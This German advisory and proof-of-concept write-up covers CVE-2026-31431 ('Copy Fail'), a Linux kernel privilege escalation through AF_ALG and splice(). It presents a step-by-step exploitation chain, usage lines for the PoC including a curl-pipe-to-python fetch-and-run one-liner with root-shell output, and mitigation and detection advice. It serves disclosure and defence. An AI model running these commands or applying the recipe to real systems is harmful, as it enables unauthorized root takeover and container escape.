
Proof-of-Concept-Exploit für CVE-2026-31431, eine lokale Privilegieneskalation im Linux-Kernel über einen AF_ALG-Page-Cache-Write, die auf gängigen Distributionen Root-Rechte erlangt.
algif_aead-Page-Cache-Schreibvorgang („Copy Fail")
Autor: Van Glenndon Enad
Ursprüngliche Entdeckung: Theori / Xint Code Research Team (Taeyang Lee)
Veröffentlicht: 29. April 2026
Schweregrad: Hoch
CVSS v3.1-Score: 7.8
CVSS v3.1-Vektor: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787 (Schreiben außerhalb der Grenzen), CWE-269 (Fehlerhaftes Privilegienmanagement)
CVE-2026-31431, öffentlich als „Copy Fail" bezeichnet, ist eine lokale Schwachstelle mit hohem Schweregrad zur Privilegieneskalation (LPE) im algif_aead-Modul des Linux-Kernels – der AEAD-Chiffrierschnittstelle der Userspace-Krypto-API des Kernels (AF_ALG). Der Fehler stammt aus einer Leistungsoptimierung („In-Place-Operation"), die 2017 über den Commit 72548b093ee3 eingeführt wurde und versehentlich ermöglichte, dass Page-Cache-gestützte Dateiseiten während einer AEAD-Kryptooperation in die beschreibbare Ziel-Scatterlist eingefügt werden konnten.
Durch die Verkettung von drei Kernel-Subsystemen – AF_ALG-Sockets, den Systemaufruf splice() und das Scratch-Schreibverhalten des authencesn-Algorithmus – kann ein nicht privilegierter lokaler Benutzer einen kontrollierten 4-Byte-Schreibvorgang in den Page-Cache einer beliebigen lesbaren Datei durchführen. Wenn ein setuid-Binärprogramm wie /usr/bin/su als Ziel gewählt wird, korrumpiert dieser Schreibvorgang das In-Memory-Ausführungsimage, ohne die Datei auf der Festplatte zu verändern, wodurch Dateiintegritätstools auf der Festplatte umgangen werden. Die daraus resultierende Privilegieneskalation zu root ist deterministisch – keine Race Condition, keine distributionsspezifischen Kernel-Offsets und keine speziellen Privilegien sind erforderlich. Ein öffentlich veröffentlichter 732-Byte-Python-PoC-Exploit liefert Root-Shells auf Ubuntu, Amazon Linux, RHEL und SUSE in einem einzigen unveränderten Lauf.
Die Schwachstelle ist seit fast neun Jahren stillschweigend in jeder gängigen Linux-Distribution vorhanden. Laut Theori ist AF_ALG in der Standard-Kernelkonfiguration praktisch jeder Distribution aktiviert, was bedeutet, dass keine speziellen Build-Flags oder Konfigurationen erforderlich sind, damit ein System verwundbar ist.
Der Linux-Kernel stellt Userspace-Anwendungen kryptografische Primitive über die AF_ALG-Socket-Schnittstelle (crypto/algif_aead.c) zur Verfügung. 2017 wurde eine Leistungsoptimierung eingeführt, die es algif_aead ermöglichte, AEAD-Operationen in-place durchzuführen – den Quellspeicherpuffer als Ziel wiederzuverwenden –, um unnötiges Datenkopieren zu vermeiden.
Der Fehler tritt auf, wenn Userspace-Eingaben über den Systemaufruf splice() in den AF_ALG-Socket eingespeist werden. In diesem Fall sind die in die Quell-Scatterlist eingefügten Seiten Page-Cache-Seiten – gemeinsamer, kernelverwalteter Speicher, der die gespleißte Datei unterstützt. Aufgrund der In-Place-Optimierung, die req->src = req->dst setzt, landen diese Page-Cache-Seiten in der beschreibbaren Ziel-Scatterlist. Der authencesn-Algorithmus führt anschließend einen Scratch-Schreibvorgang bei dst[assoclen + cryptlen] durch, der sich in einen Offset innerhalb dieser Page-Cache-Seiten auflöst – wodurch effektiv Angreifer-kontrollierte Daten in das In-Memory-Image der gespleißten Datei geschrieben werden.
Da der Page-Cache auf dem gesamten Host einschließlich Containern gemeinsam genutzt wird, wirkt sich ein Schreibvorgang eines Prozesses auf die gecachten Seiten dieser Datei für jeden Prozess und Container auf demselben Kernel aus.
Die problematische Änderung in algif_aead.c setzte req->src = req->dst und verkettete Tag-Seiten aus der Quell-Scatterlist über sg_chain() in die Ausgabe-Scatterlist:
/* In-Place-Optimierung von 2017 – Commit 72548b093ee3 */
req->src = req->dst; /* Quelle == Ziel */
sg_chain(dst, n + 1, src_tag); /* Tag-Seiten in beschreibbares dst verkettet */
Wenn splice() verwendet wird, um eine Datei in den Socket einzuspeisen, sind die Scatterlist-Seiten Page-Cache-gestützt, nicht privater anonymer Speicher. Ihre Verkettung in die beschreibbare dst-Scatterlist verletzt die Annahme, dass das Ziel beschreibbarer privater Speicher ist.
authencesn-Scratch-SchreibvorgangDie authencesn-Vorlage schreibt einen Sequenznummer-Scratch-Wert (seqno_lo, Bytes 4–7 der AAD) bei dst[assoclen + cryptlen]. Da dst nun Page-Cache-Seiten aus der gespleißten Datei enthält, landet dieser Schreibvorgang an einem Angreifer-kontrollierten Offset innerhalb des In-Memory-Images der Datei:
/* authencesn-Scratch-Schreibvorgang – Offset bestimmt durch assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* schreibt in den Page-Cache */
Die geschriebenen 4 Bytes entsprechen seqno_lo, das der Angreifer über die durch sendmsg() gesendete AAD-Payload kontrolliert.
AF_ALG-Socket (SOCK_SEQPACKET)
│
│ splice() – liefert dateigestützte Seiten in den Socket
▼
algif_aead-In-Place-Optimierung
│ req->src = req->dst
│ Page-Cache-Seiten landen in der beschreibbaren Scatterlist
▼
authencesn-Scratch-Schreibvorgang
│ schreibt seqno_lo bei dst[assoclen + cryptlen]
│ = Angreifer-gewählte 4 Bytes an Angreifer-gewähltem Datei-Offset
▼
Page-Cache-Korruption (keine Änderung auf der Festplatte)
Der Fix (a664bf3d603d) macht die In-Place-Optimierung vollständig rückgängig – algif_aead arbeitet jetzt immer out-of-place und weist einen separaten Zielpuffer zu. Da Quelle und Ziel nun aus unterschiedlichen Zuordnungen stammen, können Page-Cache-Seiten in src niemals über den dst-Schreibpfad erreicht werden.
Bemerkenswert nicht in den Voraussetzungen enthalten: Netzwerkzugriff, Kernel-Debugging-Funktionen, CAP_SYS_ADMIN, vorinstallierte Kernelmodule oder vorbestehende Primitive. Die Angriffsfläche ist vollständig lokal und in sich geschlossen.
Schritt 1: Angreifer öffnet einen AF_ALG-AEAD-Socket (SOCK_SEQPACKET)
│ lädt das algif_aead-Modul automatisch; kein Root erforderlich
▼
Schritt 2: Angreifer öffnet das Ziel-setuid-Binärprogramm (z. B. /usr/bin/su) zum Lesen
│ nur Leserecht erforderlich
▼
Schritt 3: splice() überträgt Seiten der Zieldatei in den AF_ALG-Socket
│ Page-Cache-Seiten jetzt in der Quell-Scatterlist
▼
Schritt 4: In-Place-Optimierung greift: req->src = req->dst
│ Page-Cache-Seiten gelangen in die beschreibbare Ziel-Scatterlist
▼
Schritt 5: authencesn-Entschlüsselungspfad führt Scratch-Schreibvorgang bei dst[assoclen + cryptlen] durch
│ Angreifer kontrolliert assoclen, cryptlen und den 4-Byte-seqno_lo-Wert
▼
Schritt 6: Kontrollierter 4-Byte-Überschreibvorgang landet im Page-Cache von /usr/bin/su
│ In-Memory-Binärprogramm wird gepatcht; Datei auf der Festplatte unverändert
▼
Schritt 7: Angreifer führt `su` aus – korrumpiertes In-Memory-Image läuft als Root
│ setuid-Bit bleibt erhalten; Kernel führt Angreifer-gepatchten Code aus
▼
Schritt 8: Root-Shell erhalten – Privilegieneskalation abgeschlossen
In Container-Umgebungen breitet sich die Page-Cache-Korruption aus Schritt 6 auf den Host und auf alle Schwestercontainer aus, die denselben Kernel teilen, was einen vollständigen Container-Ausbruch ermöglicht.
Der PoC (copy_fail_exp.py, 732 Bytes) verwendet nur Python-3.10+-Standardbibliotheksmodule: os, socket und zlib. Der Exploit konstruiert und sendet eine präzise gestaltete sendmsg()-Payload an den AF_ALG-Socket, nachdem Dateiseiten über splice() bereitgestellt wurden.
/usr/bin/su-ELF-PatchDer Standard-PoC zielt auf /usr/bin/su. Der 4-Byte-Schreibvorgang patcht eine bestimmte Anweisung in der gecachten Seite des ELF-Binärprogramms – ersetzt einen Privilegienprüfungs-Zweig oder eine uid-Prüfung durch einen No-Op oder einen unbedingten Sprung – sodass beim anschließenden Ausführen von su die setuid-Ausführungsumgebung den gepatchten Code als root ausführt. Die Korruption ist nicht persistent: Eine Seitenverdrängung oder ein Neustart stellt das ursprüngliche Binärprogramm wieder her.
Im Gegensatz zu typischen Page-Cache-Angriffen (z. B. Dirty COW) erfordert Copy Fail keine Race Condition. Der Schreibpfad ist geradlinig: splice() → sendmsg() → Scratch-Schreibvorgang. Jeder Aufruf ist deterministisch und synchron, was den Exploit über Hardware, Kernelversionen und Distributionen hinweg äußerst zuverlässig macht.
Warnung: Dieser PoC dient ausschließlich Bildungs-, Forschungs- und autorisierten Testzwecken. Verwenden Sie ihn nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
Der kanonische PoC wird von Theori im offiziellen Repository gepflegt. Es handelt sich um ein eigenständiges 732-Byte-Python-3.10+-Skript ohne externe Abhängigkeiten.
Standardverwendung (zielt auf /usr/bin/su):
python3 copy_fail_exp.py
Benutzerdefiniertes setuid-Ziel:
python3 copy_fail_exp.py /usr/bin/sudo
Einzeiler (von der offiziellen Website):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
SHA256 des kanonischen PoC:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Dasselbe unveränderte Skript wurde öffentlich demonstriert und erreichte Root-Shells auf Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 und SUSE 16 in einer einzigen tmux-Sitzung.
Der kritischste Auswirkungsvektor sind Multi-Tenant-Umgebungen: gemeinsame Entwicklungssysteme, Kubernetes-Arbeitsknoten, selbst gehostete GitHub-Actions-Runner, GitLab/Jenkins-CI-Agenten, Notebook-Hosting-Plattformen und serverlose Umgebungen, in denen benutzergelieferter Code unter einem regulären Benutzerkonto ausgeführt wird. Jede solche Umgebung, die einen ungepatchten Kernel ausführt, ist durch jeden Benutzer, der Code ausführen kann, vollständig kompromittiert.
Aktualisieren Sie den Kernel auf eine Version, die den Mainline-Fix-Commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 enthält:
Deaktivieren Sie das Kernelmodul algif_aead, um den Angriffspfad an seiner Quelle zu blockieren:
# Blockierung über Neustarts hinweg beibehalten
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# Modul aus dem laufenden Kernel entladen (falls geladen)
rmmod algif_aead
Was dadurch bricht: Dies betrifft nicht dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH oder standardmäßige OpenSSL/GnuTLS/NSS. Es kann Userspace-Anwendungen betreffen, die explizit die
afalg-OpenSSL-Engine verwenden oder direktaead-Sockets binden. Überprüfen Sie vor der Anwendung mitlsof | grep AF_ALG.
AF_ALG-Sockets über seccomp unabhängig vom Patch-Status – fügen Sie SOCK_SEQPACKET + AF_ALG zur Deny-Liste in Ihrem seccomp-Profil hinzu.AF_ALG-AEAD-Sockets zu erkennen.AF_ALG-SOCK_SEQPACKET-Socket öffnet – dies ist der obligatorische erste Schritt des Exploits.su/sudo-Ausführungen in Kombination mit AF_ALG-Socket-Nutzung als Verhaltenssignal.Rechtlicher Hinweis: Diese Analyse und der Proof of Concept werden ausschließlich zu Bildungs-, Forschungs- und defensiven Sicherheitszwecken veröffentlicht. Der Autor befürwortet keinen unbefugten Zugriff auf Computersysteme. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie Sicherheitstests an Systemen durchführen, die Sie nicht besitzen.
| Komponente | Details |
|---|
| Betroffenes Subsystem | crypto/algif_aead.c – Linux-Kernel-AF_ALG-AEAD-Schnittstelle |
| Schwachstelle eingeführt | Linux-Kernel 4.14 (2017), Commit 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| Behobene Versionen | 6.18.22, 6.19.12, 7.0 |
| Fix-Commit | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| Verifizierte Distributionen | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 |
| Implizit betroffen | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux und jede Distribution mit einem ungepatchten Kernel, der seit 2017 gebaut wurde |
| Anforderung | Hinweise |
|---|
| Lokales nicht privilegiertes Benutzerkonto | Keine erhöhten Berechtigungen erforderlich |
| Kernel ab 2017 gebaut (≥ 4.14) | Deckt praktisch alle gängigen Distributionen ab |
AF_ALG (CONFIG_CRYPTO_USER_API) aktiviert | Standard in praktisch allen Distributions-Kernelkonfigurationen |
algif_aead-Modul ladbar/geladen | Wird beim ersten Erstellen eines AF_ALG-Sockets automatisch geladen |
Mindestens ein lesbares setuid-Binärprogramm | z. B. /usr/bin/su, /usr/bin/sudo |
| Python 3.10+ (für den öffentlichen PoC) | Nur os, socket, zlib aus der Standardbibliothek |
| Parameter | Angreifer-Kontrolle | Mechanismus |
|---|
| Zieldatei | Jede für den Angreifer lesbare Datei | An splice() übergeben |
| Schreib-Offset | assoclen + cryptlen | Über Socket-Optionen in sendmsg() gesetzt |
| Schreibwert (4 Bytes) | seqno_lo | Bytes 4–7 der AAD-Payload in sendmsg() |
| Kategorie | Beschreibung |
|---|
| Vertraulichkeit | Vollständiger Lesezugriff auf alle Dateien auf dem Host als root |
| Integrität | Fähigkeit, beliebige Dateien zu schreiben, Backdoors zu installieren, /etc/passwd oder /etc/shadow zu ändern |
| Verfügbarkeit | Vollständige Host-Übernahme; Dienstunterbrechung möglich |
| Authentifizierung | Keine Anmeldeinformationen über ein lokales Benutzerkonto hinaus erforderlich |
| Container-Ausbruch | Der Page-Cache wird hostweit geteilt – ein Pod mit einer lokalen Shell kann den Knoten kompromittieren und Mandantengrenzen überschreiten |
| CI/CD-Pipeline | Ein nicht vertrauenswürdiger Pull Request, der auf einem selbst gehosteten Runner ausgeführt wird, wird zu Root auf dem Runner-Host |
| Persistenz | Post-Exploitation: SSH-Key-Injektion, Cron-Jobs, Kernelmodul-Installation – alles trivial erreichbar |
| Forensische Umgehung | Das Binärprogramm auf der Festplatte wird nie verändert; Dateiintegritätsmonitore (FIM), AIDE, Tripwire sehen keine Änderung |
| Distribution | Behobene Kernelversion |
|---|
| Upstream-Linux | 6.18.22, 6.19.12, 7.0 |
| Ubuntu 24.04 LTS | Hersteller-Patch verfügbar – apt update && apt upgrade |
| Amazon Linux 2023 | Hersteller-Patch verfügbar – dnf update kernel |
| RHEL 10.1 | Red-Hat-Patch in Arbeit – AlmaLinux hat den Upstream-Fix ausgeliefert |
| SUSE 16 | Hersteller-Patch verfügbar – zypper update kernel-default |
| Datum | Ereignis |
|---|
| 2026-03-23 | Schwachstelle von Theori an das Linux-Kernel-Sicherheitsteam gemeldet |
| 2026-03-24 | Erste Bestätigung erhalten |
| 2026-03-25 | Patch vorgeschlagen und von Kernel-Maintainern überprüft |
| 2026-04-01 | Fix in Mainline committet (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 zugewiesen |
| 2026-04-29 | Öffentliche Offenlegung auf copy.fail; PoC auf GitHub veröffentlicht |
| 2026-04-30 | AlmaLinux liefert gepatchten Kernel mit Upstream-Fix aus |
| 2026-04-30 | Microsoft-Sicherheitsblog, Sophos, Sysdig, Bugcrowd veröffentlichen Analysen |
| 2026-05-01 | Kubernetes-Container-Escape-PoC veröffentlicht |
| 2026-05-02 | Unabhängige Analyse und Dokumentation veröffentlicht |